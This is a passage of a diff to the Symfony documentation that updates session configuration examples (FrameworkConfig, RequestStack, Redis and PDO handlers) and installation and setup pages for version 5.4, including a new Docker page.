                         <!-- use getIndex() instead of getDefaultIndexName() -->
diff --git a/session.rst b/session.rst
index 47e8cc3d269..de422ca6792 100644
--- a/session.rst
+++ b/session.rst
@@ -55,18 +55,20 @@ sessions, check their default configuration:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
                 // enables the support of sessions in the app
-                'enabled' => true,
+                ->enabled(true)
                 // ID of the service used for session storage
                 // NULL means that Symfony uses PHP default session mechanism
-                'handler_id' => null,
+                ->handlerId(null)
                 // improves the security of the cookies used for sessions
-                'cookie_secure' => 'auto',
-                'cookie_samesite' => 'lax',
-            ],
-        ]);
+                ->cookieSecure('auto')
+                ->cookieSamesite('lax')
+            ;
+        };
 
 Setting the ``handler_id`` config option to ``null`` means that Symfony will
 use the native PHP session mechanism. The session metadata files will be stored
@@ -112,13 +114,15 @@ session metadata files:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
                 // ...
-                'handler_id' => 'session.handler.native_file',
-                'save_path' => '%kernel.project_dir%/var/sessions/%kernel.environment%',
-            ],
-        ]);
+                ->handlerId('session.handler.native_file')
+                ->savePath('%kernel.project_dir%/var/sessions/%kernel.environment%')
+            ;
+        };
 
 Check out the Symfony config reference to learn more about the other available
 :ref:`Session configuration options <config-framework-session>`. You can also
@@ -127,65 +131,122 @@ Check out the Symfony config reference to learn more about the other available
 Basic Usage
 -----------
 
-Symfony provides a session service that is injected in your services and
+The session is available through the Request and the RequestStack.
+Symfony provides a request_stack service that is injected in your services and
 controllers if you type-hint an argument with
-:class:`Symfony\\Component\\HttpFoundation\\Session\\SessionInterface`::
+:class:`Symfony\\Component\\HttpFoundation\\RequestStack`::
 
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
+    use Symfony\Component\HttpFoundation\RequestStack;
 
     class SomeService
     {
-        private $session;
+        private $requestStack;
 
-        public function __construct(SessionInterface $session)
+        public function __construct(RequestStack $requestStack)
         {
-            $this->session = $session;
+            $this->requestStack = $requestStack;
         }
 
         public function someMethod()
         {
+            $session = $this->requestStack->getSession();
+
             // stores an attribute in the session for later reuse
-            $this->session->set('attribute-name', 'attribute-value');
+            $session->set('attribute-name', 'attribute-value');
 
             // gets an attribute by name
-            $foo = $this->session->get('foo');
+            $foo = $session->get('foo');
 
             // the second argument is the value returned when the attribute doesn't exist
-            $filters = $this->session->get('filters', []);
+            $filters = $session->get('filters', []);
 
             // ...
         }
     }
 
-.. tip::
+.. deprecated:: 5.3
 
-    Every ``SessionInterface`` implementation is supported. If you have your
-    own implementation, type-hint this in the argument instead.
+    The ``SessionInterface`` and ``session`` service were deprecated in
+    Symfony 5.3. Instead, inject the ``RequestStack`` service to get the session
+    object of the current request.
 
 Stored attributes remain in the session for the remainder of that user's session.
 By default, session attributes are key-value pairs managed with the
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBag`
 class.
 
+.. deprecated:: 5.3
+
+    The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
+    If you need this feature, you will have to implement the class yourself.
+
 If your application needs are complex, you may prefer to use
 :ref:`namespaced session attributes <namespaced-attributes>` which are managed with the
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\NamespacedAttributeBag`
-class. Before using them, override the ``session`` service definition to replace
-the default ``AttributeBag`` by the ``NamespacedAttributeBag``:
+class. Before using them, override the ``session_listener`` service definition to build
+your ``Session`` object with the default ``AttributeBag`` by the ``NamespacedAttributeBag``:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
         # config/services.yaml
-        session:
-            public: true
-            class: Symfony\Component\HttpFoundation\Session\Session
-            arguments: ['@session.storage', '@session.namespacedattributebag']
+        session.factory:
+            autoconfigure: true
+            class: App\Session\SessionFactory
+            arguments:
+            - '@request_stack'
+            - '@session.storage.factory'
+            - ['@session_listener', 'onSessionUsage']
+            - '@session.namespacedattributebag'
 
         session.namespacedattributebag:
             class: Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag
 
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="session" class="Symfony\Component\HttpFoundation\Session\Session" public="true">
+                    <argument type="service" id="session.storage"/>
+                    <argument type="service" id="session.namespacedattributebag"/>
+                    <argument type="service" id="session.flash_bag"/>
+                </service>
+
+                <service id="session.namespacedattributebag"
+                    class="Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag"
+                />
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag;
+        use Symfony\Component\HttpFoundation\Session\Session;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set('session', Session::class)
+                ->public()
+                ->args([
+                    ref('session.storage'),
+                    ref('session.namespacedattributebag'),
+                    ref('session.flash_bag'),
+                ])
+            ;
+
+            $services->set('session.namespacedattributebag', NamespacedAttributeBag::class);
+        };
+
 .. _session-avoid-start:
 
 Avoid Starting Sessions for Anonymous Users
@@ -196,22 +257,6 @@ the existence of data in the session. This may hurt your application performance
 because all users will receive a session cookie. In order to prevent that, you
 must *completely* avoid accessing the session.
 
-For example, if your templates include some code to display the
-:ref:`flash messages <flash-messages>`, sessions will start even if the user
-is not logged in and even if you haven't created any flash messages. To avoid
-this behavior, add a check before trying to access the flash messages:
-
-.. code-block:: html+twig
-
-    {# this check prevents starting a session when there are no flash messages #}
-    {% if app.request.hasPreviousSession %}
-        {% for message in app.flashes('notice') %}
-            <div class="flash-notice">
-                {{ message }}
-            </div>
-        {% endfor %}
-    {% endif %}
-
 More about Sessions
 -------------------
 
diff --git a/session/database.rst b/session/database.rst
index e01d32c6d79..16715c2b150 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -5,7 +5,7 @@ Store Sessions in a Database
 ============================
 
 Symfony stores sessions in files by default. If your application is served by
-multiple servers, you'll need to use instead a database to make sessions work
+multiple servers, you'll need to use a database instead to make sessions work
 across different servers.
 
 Symfony can store sessions in all kinds of databases (relational, NoSQL and
@@ -63,8 +63,6 @@ First, define a Symfony service for the connection to the Redis server:
 
     .. code-block:: php
 
-        use Symfony\Component\DependencyInjection\Reference;
-
         // ...
         $container
             // you can also use \RedisArray, \RedisCluster or \Predis\Client classes
@@ -89,9 +87,10 @@ and ``RedisProxy``:
             Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler:
                 arguments:
                     - '@Redis'
-                    # you can optionally pass an array of options. The only option is 'prefix',
-                    # which defines the prefix to use for the keys to avoid collision on the Redis server
-                    # - { prefix: 'my_prefix' }
+                    # you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
+                    # which define the prefix to use for the keys to avoid collision on the Redis server
+                    # and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
+                    # - { 'prefix': 'my_prefix', 'ttl': 600 }
 
     .. code-block:: xml
 
@@ -99,10 +98,12 @@ and ``RedisProxy``:
         <services>
             <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
                 <argument type="service" id="Redis"/>
-                <!-- you can optionally pass an array of options. The only option is 'prefix',
-                     which defines the prefix to use for the keys to avoid collision on the Redis server:
+                <!-- you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
+                     which define the prefix to use for the keys to avoid collision on the Redis server
+                     and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
                 <argument type="collection">
                     <argument key="prefix">my_prefix</argument>
+                    <argument key="ttl">600</argument>
                 </argument> -->
             </service>
         </services>
@@ -110,15 +111,17 @@ and ``RedisProxy``:
     .. code-block:: php
 
         // config/services.php
+        use Symfony\Component\DependencyInjection\Reference;
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
 
         $container
             ->register(RedisSessionHandler::class)
             ->addArgument(
                 new Reference('Redis'),
-                // you can optionally pass an array of options. The only option is 'prefix',
-                // which defines the prefix to use for the keys to avoid collision on the Redis server:
-                // ['prefix' => 'my_prefix'],
+                // you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
+                // which define the prefix to use for the keys to avoid collision on the Redis server
+                // and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
+                // ['prefix' => 'my_prefix', 'ttl' => 600],
             );
 
 Next, use the :ref:`handler_id <config-framework-session-handler-id>`
@@ -146,14 +149,14 @@ configuration option to tell Symfony to use this service as the session handler:
 
         // config/packages/framework.php
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
+        use Symfony\Config\FrameworkConfig;
 
-        // ...
-        $container->loadFromExtension('framework', [
+        return static function (FrameworkConfig $framework) {
             // ...
-            'session' => [
-                'handler_id' => RedisSessionHandler::class,
-            ],
-        ]);
+            $framework->session()
+                ->handlerId(RedisSessionHandler::class)
+            ;
+        };
 
 That's all! Symfony will now use your Redis server to read and write the session
 data. The main drawback of this solution is that Redis does not perform session
@@ -166,11 +169,11 @@ parallel and only the first one stored the CSRF token in the session.
     If you use Memcached instead of Redis, follow a similar approach but replace
     ``RedisSessionHandler`` by :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MemcachedSessionHandler`.
 
-Store Sessions in a Relational Database (MySQL, PostgreSQL)
------------------------------------------------------------
+Store Sessions in a Relational Database (MariaDB, MySQL, PostgreSQL)
+--------------------------------------------------------------------
 
 Symfony includes a :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler`
-to store sessions in relational databases like MySQL and PostgreSQL. To use it,
+to store sessions in relational databases like MariaDB, MySQL and PostgreSQL. To use it,
 first register a new handler service with your database credentials:
 
 .. configuration-block::
@@ -205,7 +208,7 @@ first register a new handler service with your database credentials:
                     <argument>%env(DATABASE_URL)%</argument>
 
                     <!-- you can also use PDO configuration, but requires passing two arguments: -->
-                    <!-- <argument>mysql:dbname=mydatabase, host=myhost</argument>
+                    <!-- <argument>mysql:dbname=mydatabase; host=myhost; port=myport</argument>
                         <argument type="collection">
                             <argument key="db_username">myuser</argument>
                             <argument key="db_password">mypassword</argument>
@@ -234,6 +237,16 @@ first register a new handler service with your database credentials:
             ;
         };
 
+.. tip::
+
+    When using MySQL as the database, the DSN defined in ``DATABASE_URL`` can
+    contain the ``charset`` and ``unix_socket`` options as query string parameters.
+
+    .. versionadded:: 5.3
+
+        The support for ``charset`` and ``unix_socket`` options was introduced
+        in Symfony 5.3.
+
 Next, use the :ref:`handler_id <config-framework-session-handler-id>`
 configuration option to tell Symfony to use this service as the session handler:
 
@@ -260,14 +273,14 @@ configuration option to tell Symfony to use this service as the session handler:
 
         // config/packages/framework.php
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+        use Symfony\Config\FrameworkConfig;
 
-        // ...
-        $container->loadFromExtension('framework', [
+        return static function (FrameworkConfig $framework) {
             // ...
-            'session' => [
-                'handler_id' => PdoSessionHandler::class,
-            ],
-        ]);
+            $framework->session()
+                ->handlerId(PdoSessionHandler::class)
+            ;
+        };
 
 Configuring the Session Table and Column Names
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -390,8 +403,10 @@ file and run the migration with the following command:
 
     $ php bin/console doctrine:migrations:migrate
 
-MySQL
-.....
+.. _mysql:
+
+MariaDB/MySQL
+.............
 
 .. code-block:: sql
 
@@ -399,7 +414,8 @@ MySQL
         `sess_id` VARBINARY(128) NOT NULL PRIMARY KEY,
         `sess_data` BLOB NOT NULL,
         `sess_lifetime` INTEGER UNSIGNED NOT NULL,
-        `sess_time` INTEGER UNSIGNED NOT NULL
+        `sess_time` INTEGER UNSIGNED NOT NULL,
+        INDEX `sessions_sess_lifetime_idx` (`sess_lifetime`)
     ) COLLATE utf8mb4_bin, ENGINE = InnoDB;
 
 .. note::
@@ -420,6 +436,7 @@ PostgreSQL
         sess_lifetime INTEGER NOT NULL,
         sess_time INTEGER NOT NULL
     );
+    CREATE INDEX sessions_sess_lifetime_idx ON sessions (sess_lifetime);
 
 Microsoft SQL Server
 ....................
@@ -428,9 +445,10 @@ Microsoft SQL Server
 
     CREATE TABLE sessions (
         sess_id VARCHAR(128) NOT NULL PRIMARY KEY,
-        sess_data VARBINARY(MAX) NOT NULL,
+        sess_data NVARCHAR(MAX) NOT NULL,
         sess_lifetime INTEGER NOT NULL,
-        sess_time INTEGER NOT NULL
+        sess_time INTEGER NOT NULL,
+        INDEX sessions_sess_lifetime_idx (sess_lifetime)
     );
 
 Store Sessions in a NoSQL Database (MongoDB)
@@ -479,7 +497,7 @@ the MongoDB connection as argument:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
         return static function (ContainerConfigurator $container) {
             $services = $configurator->services();
@@ -517,14 +535,14 @@ configuration option to tell Symfony to use this service as the session handler:
 
         // config/packages/framework.php
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
+        use Symfony\Config\FrameworkConfig;
 
-        // ...
-        $container->loadFromExtension('framework', [
+        return static function (FrameworkConfig $framework) {
             // ...
-            'session' => [
-                'handler_id' => MongoDbSessionHandler::class,
-            ],
-        ]);
+            $framework->session()
+                ->handlerId(MongoDbSessionHandler::class)
+            ;
+        };
 
 .. note::
 
@@ -541,7 +559,7 @@ performance. Run this from the `MongoDB shell`_:
 .. code-block:: javascript
 
     use session_db
-    db.session.ensureIndex( { "expires_at": 1 }, { expireAfterSeconds: 0 } )
+    db.session.createIndex( { "expires_at": 1 }, { expireAfterSeconds: 0 } )
 
 Configuring the Session Field Names
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -588,7 +606,7 @@ configure these values with the second argument passed to the
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
         return static function (ContainerConfigurator $container) {
             $services = $configurator->services();
@@ -596,7 +614,7 @@ configure these values with the second argument passed to the
             $services->set(MongoDbSessionHandler::class)
                 ->args([
                     service('doctrine_mongodb.odm.default_connection'),
-                    ['id_field' => '_guid', 'expiry_field' => 'eol'],,
+                    ['id_field' => '_guid', 'expiry_field' => 'eol'],
                 ])
             ;
         };
diff --git a/session/locale_sticky_session.rst b/session/locale_sticky_session.rst
index 056f2a674cb..483c581adb9 100644
--- a/session/locale_sticky_session.rst
+++ b/session/locale_sticky_session.rst
@@ -109,7 +109,8 @@ via some "Change Locale" route & controller), or create a route with the :ref:`_
             $container->register(LocaleSubscriber::class)
                 ->addArgument('%kernel.default_locale%')
                 // uncomment the next line if you are not using autoconfigure
-                // ->addTag('kernel.event_subscriber');
+                // ->addTag('kernel.event_subscriber')
+            ;
 
 That's it! Now celebrate by changing the user's locale and seeing that it's
 sticky throughout the request.
@@ -146,7 +147,7 @@ event::
     namespace App\EventSubscriber;
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
+    use Symfony\Component\HttpFoundation\RequestStack;
     use Symfony\Component\Security\Http\Event\InteractiveLoginEvent;
     use Symfony\Component\Security\Http\SecurityEvents;
 
@@ -156,11 +157,11 @@ event::
      */
     class UserLocaleSubscriber implements EventSubscriberInterface
     {
-        private $session;
+        private $requestStack;
 
-        public function __construct(SessionInterface $session)
+        public function __construct(RequestStack $requestStack)
         {
-            $this->session = $session;
+            $this->requestStack = $requestStack;
         }
 
         public function onInteractiveLogin(InteractiveLoginEvent $event)
@@ -168,7 +169,7 @@ event::
             $user = $event->getAuthenticationToken()->getUser();
 
             if (null !== $user->getLocale()) {
-                $this->session->set('_locale', $user->getLocale());
+                $this->requestStack->getSession()->set('_locale', $user->getLocale());
             }
         }
 
diff --git a/session/php_bridge.rst b/session/php_bridge.rst
index 42c8644e2a7..a0fbfc8e06b 100644
--- a/session/php_bridge.rst
+++ b/session/php_bridge.rst
@@ -18,7 +18,7 @@ for the ``handler_id``:
         # config/packages/framework.yaml
         framework:
             session:
-                storage_id: session.storage.php_bridge
+                storage_factory_id: session.storage.factory.php_bridge
                 handler_id: ~
 
     .. code-block:: xml
@@ -32,7 +32,7 @@ for the ``handler_id``:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <framework:config>
-                <framework:session storage-id="session.storage.php_bridge"
+                <framework:session storage-factory-id="session.storage.factory.php_bridge"
                     handler-id="null"
                 />
             </framework:config>
@@ -41,12 +41,14 @@ for the ``handler_id``:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
-                'storage_id' => 'session.storage.php_bridge',
-                'handler_id' => null,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
+                ->storageFactoryId('session.storage.factory.php_bridge')
+                ->handlerId(null)
+            ;
+        };
 
 Otherwise, if the problem is that you cannot avoid the application
 starting the session with ``session_start()``, you can still make use of
@@ -60,7 +62,7 @@ the example below:
         # config/packages/framework.yaml
         framework:
             session:
-                storage_id: session.storage.php_bridge
+                storage_factory_id: session.storage.factory.php_bridge
                 handler_id: session.handler.native_file
 
     .. code-block:: xml
@@ -83,12 +85,14 @@ the example below:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
-                'storage_id' => 'session.storage.php_bridge',
-                'handler_id' => 'session.storage.native_file',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
+                ->storageFactoryId('session.storage.factory.php_bridge')
+                ->handlerId('session.storage.native_file')
+            ;
+        };
 
 .. note::
 
diff --git a/session/proxy_examples.rst b/session/proxy_examples.rst
index c4c3f9423a3..67d46adb27b 100644
--- a/session/proxy_examples.rst
+++ b/session/proxy_examples.rst
@@ -46,13 +46,14 @@ Symfony to use your session handler instead of the default one:
 
         // config/packages/framework.php
         use App\Session\CustomSessionHandler;
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'session' => [
-                // ...
-                'handler_id' => CustomSessionHandler::class,
-            ],
-        ]);
+            $framework->session()
+                ->handlerId(CustomSessionHandler::class)
+            ;
+        };
 
 Keep reading the next sections to learn how to use the session handlers in practice
 to solve two common use cases: encrypt session information and define read-only
diff --git a/setup.rst b/setup.rst
index 8e8f7c5610e..bd8e018da8f 100644
--- a/setup.rst
+++ b/setup.rst
@@ -20,6 +20,10 @@ Before creating your first Symfony application you must:
 * Install PHP 7.2.5 or higher and these PHP extensions (which are installed and
   enabled by default in most PHP 7 installations): `Ctype`_, `iconv`_, `JSON`_,
   `PCRE`_, `Session`_, `SimpleXML`_, and `Tokenizer`_;
+
+  * Note that all newer, released versions of PHP will be supported during the
+    lifetime of each Symfony release (including new major versions).
+    For example, PHP 8.0 is supported.
 * `Install Composer`_, which is used to install PHP packages.
 
 Optionally, you can also `install Symfony CLI`_. This creates a binary called
@@ -50,10 +54,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --version=next --full
+    $ symfony new my_project_name --version=5.4 --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name --version=next
+    $ symfony new my_project_name --version=5.4
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -65,10 +69,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"5.2.x@dev" my_project_name
+    $ composer create-project symfony/website-skeleton:"^5.4" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"5.2.x@dev" my_project_name
+    $ composer create-project symfony/skeleton:"^5.4" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies
@@ -81,6 +85,35 @@ started. In other words, your new application is ready!
     and ``<project>/var/log/``) must be writable by the web server. If you have
     any issue, read how to :doc:`set up permissions for Symfony applications </setup/file_permissions>`.
 
+.. _install-existing-app:
+
+Setting up an Existing Symfony Project
+--------------------------------------
+
+In addition to creating new Symfony projects, you will also work on projects
+already created by other developers. In that case, you only need to get the
+project code and install the dependencies with Composer. Assuming your team uses
+Git, setup your project with the following commands:
+
+.. code-block:: terminal
+
+    # clone the project to download its contents
+    $ cd projects/
+    $ git clone ...
+
+    # make Composer install the project's dependencies into vendor/
+    $ cd my-project/
+    $ composer install
+
+You'll probably also need to customize your :ref:`.env file <config-dot-env>`
+and do a few other project-specific tasks (e.g. creating a database). When
+working on a existing Symfony application for the first time, it may be useful
+to run this command which displays information about the project:
+
+.. code-block:: terminal
+
+    $ php bin/console about
+
 Running Symfony Applications
 ----------------------------
 
@@ -89,6 +122,8 @@ In production, you should install a webserver like Nginx or Apache and
 method can also be used if you're not using the Symfony local web server for
 development.
 
+.. _symfony-binary-web-server:
+
 However for local development, the most convenient way of running Symfony is by
 using the :doc:`local web server </setup/symfony_server>` provided by the
 ``symfony`` binary. This local server provides among other things support for
@@ -112,34 +147,10 @@ the server by pressing ``Ctrl+C`` from your terminal.
     The web server works with any PHP application, not only Symfony projects,
     so it's a very useful generic development tool.
 
-.. _install-existing-app:
-
-Setting up an Existing Symfony Project
---------------------------------------
+Symfony Docker Integration
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-In addition to creating new Symfony projects, you will also work on projects
-already created by other developers. In that case, you only need to get the
-project code and install the dependencies with Composer. Assuming your team uses
-Git, setup your project with the following commands:
-
-.. code-block:: terminal
-
-    # clone the project to download its contents
-    $ cd projects/
-    $ git clone ...
-
-    # make Composer install the project's dependencies into vendor/
-    $ cd my-project/
-    $ composer install
-
-You'll probably also need to customize your :ref:`.env file <config-dot-env>`
-and do a few other project-specific tasks (e.g. creating a database). When
-working on a existing Symfony application for the first time, it may be useful
-to run this command which displays information about the project:
-
-.. code-block:: terminal
-
-    $ php bin/console about
+If you'd like to use Docker with Symfony, see :doc:`setup/docker`
 
 .. _symfony-flex:
 
@@ -210,12 +221,11 @@ For example, to add debugging features in your application, you can run the
 which in turn installs several packages like ``symfony/debug-bundle``,
 ``symfony/monolog-bundle``, ``symfony/var-dumper``, etc.
 
-By default, when installing Symfony packs, your ``composer.json`` file shows the
-pack dependency (e.g. ``"symfony/debug-pack": "^1.0"``) instead of the actual
-packages installed. To show the packages, add the ``--unpack`` option when
-installing a pack (e.g. ``composer require debug --dev --unpack``) or run this
-command to unpack the already installed packs: ``composer unpack PACK_NAME``
-(e.g. ``composer unpack debug``).
+You won't see the ``symfony/debug-pack`` dependency in your ``composer.json``,
+as Flex automatically unpacks the pack. This means that it only adds the real
+packages as dependencies (e.g. you will see a new ``symfony/var-dumper`` in
+``require-dev``). While it is not recommended, you can use the ``composer
+require --no-unpack ...`` option to disable unpacking.
 
 .. _security-checker:
 
@@ -261,14 +271,14 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     $ symfony new my_project_name --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_name --version=4.4
+    $ symfony new my_project_name --version=5.4
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/website-skeleton:"^4.4" my_project_name
+    $ composer create-project symfony/skeleton:"^5.4" my_project_name
 
 The Symfony Demo application
 ----------------------------
@@ -300,6 +310,7 @@ Learn More
     :maxdepth: 1
     :glob:
 
+    setup/docker
     setup/homestead
     setup/web_server_configuration
     setup/*
diff --git a/setup/_vendor_deps.rst.inc b/setup/_vendor_deps.rst.inc
deleted file mode 100644
index 58f582be681..00000000000
--- a/setup/_vendor_deps.rst.inc
+++ /dev/null
@@ -1,59 +0,0 @@
-Managing Vendor Libraries with ``composer.json``
-------------------------------------------------
-
-How Does it Work?
-~~~~~~~~~~~~~~~~~
-
-Every Symfony project uses a group of third-party "vendor" libraries. One
-way or another the goal is to download these files into your ``vendor/``
-directory and, ideally, to give you some sane way to manage the exact version
-you need for each.
-
-By default, these libraries are downloaded by running a ``composer install``
-"downloader" binary. This ``composer`` file is from a library called `Composer`_
-and you can read more about :doc:`installing Composer globally </setup/composer>`.
-
-The ``composer`` command reads from the ``composer.json`` file at the root
-of your project. This is an JSON-formatted file, which holds a list of each
-of the external packages you need, the version to be downloaded and more.
-``composer`` also reads from a ``composer.lock`` file, which allows you to
-pin each library to an **exact** version. In fact, if a ``composer.lock``
-file exists, the versions inside will override those in ``composer.json``.
-To upgrade your libraries to new versions, run ``composer update``.
-
-.. tip::
-
-    If you want to add a new package to your application, run the composer
-    ``require`` command:
-
-    .. code-block:: terminal
-
-        $ composer require doctrine/doctrine-fixtures-bundle
-
-To learn more about Composer, see `GetComposer.org`_:
-
-It's important to realize that these vendor libraries are *not* actually part
-of *your* repository. Instead, they're un-tracked files that are downloaded
-into the ``vendor/``. But since all the information needed to download these
-files is saved in ``composer.json`` and ``composer.lock`` (which *are* stored
-in the repository), any other developer can use the project, run ``composer install``,
-and download the exact same set of vendor libraries. This means that you're
-controlling exactly what each vendor library looks like, without needing to
-actually commit them to *your* repository.
-
-So, whenever a developer uses your project, they should run the ``composer install``
-script to ensure that all of the needed vendor libraries are downloaded.
-
-.. sidebar:: Upgrading Symfony
-
-    Since Symfony is just a group of third-party libraries and third-party
-    libraries are entirely controlled through ``composer.json`` and ``composer.lock``,
-    upgrading Symfony means simply upgrading each of these files to match
-    their state in the latest Symfony Standard Edition.
-
-    If you've added new entries to ``composer.json``, be sure
-    to replace only the original parts (i.e. be sure not to also delete any of
-    your custom entries).
-
-.. _Composer: https://getcomposer.org/
-.. _GetComposer.org: https://getcomposer.org/
diff --git a/setup/docker.rst b/setup/docker.rst
new file mode 100644
index 00000000000..bd8eb145af8
--- /dev/null
+++ b/setup/docker.rst
@@ -0,0 +1,56 @@
+.. index:: Docker
+
+Using Docker with Symfony
+=========================
+
+Can you use Docker with Symfony? Of course! And several tools exist to help,
+depending on your needs.
+
+Complete Docker Environment
+---------------------------
+
+If you'd like a complete Docker environment (i.e. where PHP, web server, database,
+etc. are all in Docker), check out `https://github.com/dunglas/symfony-docker`_.
+
+Alternatively, you can install PHP on your local machine and use the
+:ref:`symfony binary Docker integration <symfony-server-docker>`. In both cases,
+you can take advantage of automatic Docker configuration from :ref:`Symfony Flex <symfony-flex>`.
+
+Flex Recipes & Docker Configuration
+-----------------------------------
+
+The :ref:`Flex recipe <symfony-flex>` for some packages also include Docker configuration.
+For example, when you run ``composer require doctrine`` (to get ``symfony/orm-pack``),
+your ``docker-compose.yml`` file will automatically be updated to include a
+``database`` service.
+
+The first time you install a recipe containing Docker config, Flex will ask you
+if you want to include it. Or, you can set your preference in ``composer.json``,
+by setting the ``symfony.extra.docker`` config to ``true`` or ``false``.
+
+Some recipes also include additions to your ``Dockerfile``. To get those changes,
+you need to already have a ``Dockerfile`` at the root of your app *with* the
+following code somewhere inside:
+
+.. code-block:: text
+
+    ###> recipes ###
+    ###< recipes ###
+
+The recipe will find this section and add the changes inside. If you're using
+`https://github.com/dunglas/symfony-docker`_, you'll already have this.
+
+After installing the package, rebuild your containers by running:
+
+.. code-block:: terminal
+
+    $ docker-compose up --build
+
+Symfony Binary Web Server and Docker Support
+--------------------------------------------
+
+If you're using the :ref:`symfony binary web server` (e.g. ``symfony server:start``),
+then it can automatically detect your Docker services and expose them as environment
+variables. See :ref:`symfony-server-docker`.
+
+.. _`https://github.com/dunglas/symfony-docker`: https://github.com/dunglas/symfony-docker
diff --git a/setup/flex.rst b/setup/flex.rst
index dd26b2aa9fb..491d9ba7d0b 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -58,14 +58,14 @@ manual steps:
 
    .. code-block:: diff
 
-       {
-           "require": {
-               "symfony/flex": "^1.0",
-       +     },
-       +     "conflict": {
-       +         "symfony/symfony": "*"
-           }
-       }
+         {
+             "require": {
+                 "symfony/flex": "^1.0",
+       +   },
+       +   "conflict": {
+       +       "symfony/symfony": "*"
+             }
+         }
 
    Now you must add in ``composer.json`` all the Symfony dependencies required
    by your project. A quick way to do that is to add all the components that
@@ -89,7 +89,7 @@ manual steps:
        $ rm -rf vendor/*
        $ composer install
 
-#. No matter which of the previous steps you followed. At this point, you'll have
+#. Regardless of which of the previous steps you followed, at this point you'll have
    lots of new config files in ``config/``. They contain the default config
    defined by Symfony, so you must check your original files in ``app/config/``
    and make the needed changes in the new files. Flex config doesn't use suffixes
@@ -100,7 +100,7 @@ manual steps:
    located at ``config/services.yaml``. Copy the contents of the
    `default services.yaml file`_ and then add your own service configuration.
    Later you can revisit this file because thanks to Symfony's
-   :doc:`autowiring feature </service_container/3.3-di-changes>` you can remove
+   :doc:`autowiring feature </service_container/autowiring>` you can remove
    most of the service configuration.
 
    .. note::
@@ -117,14 +117,14 @@ manual steps:
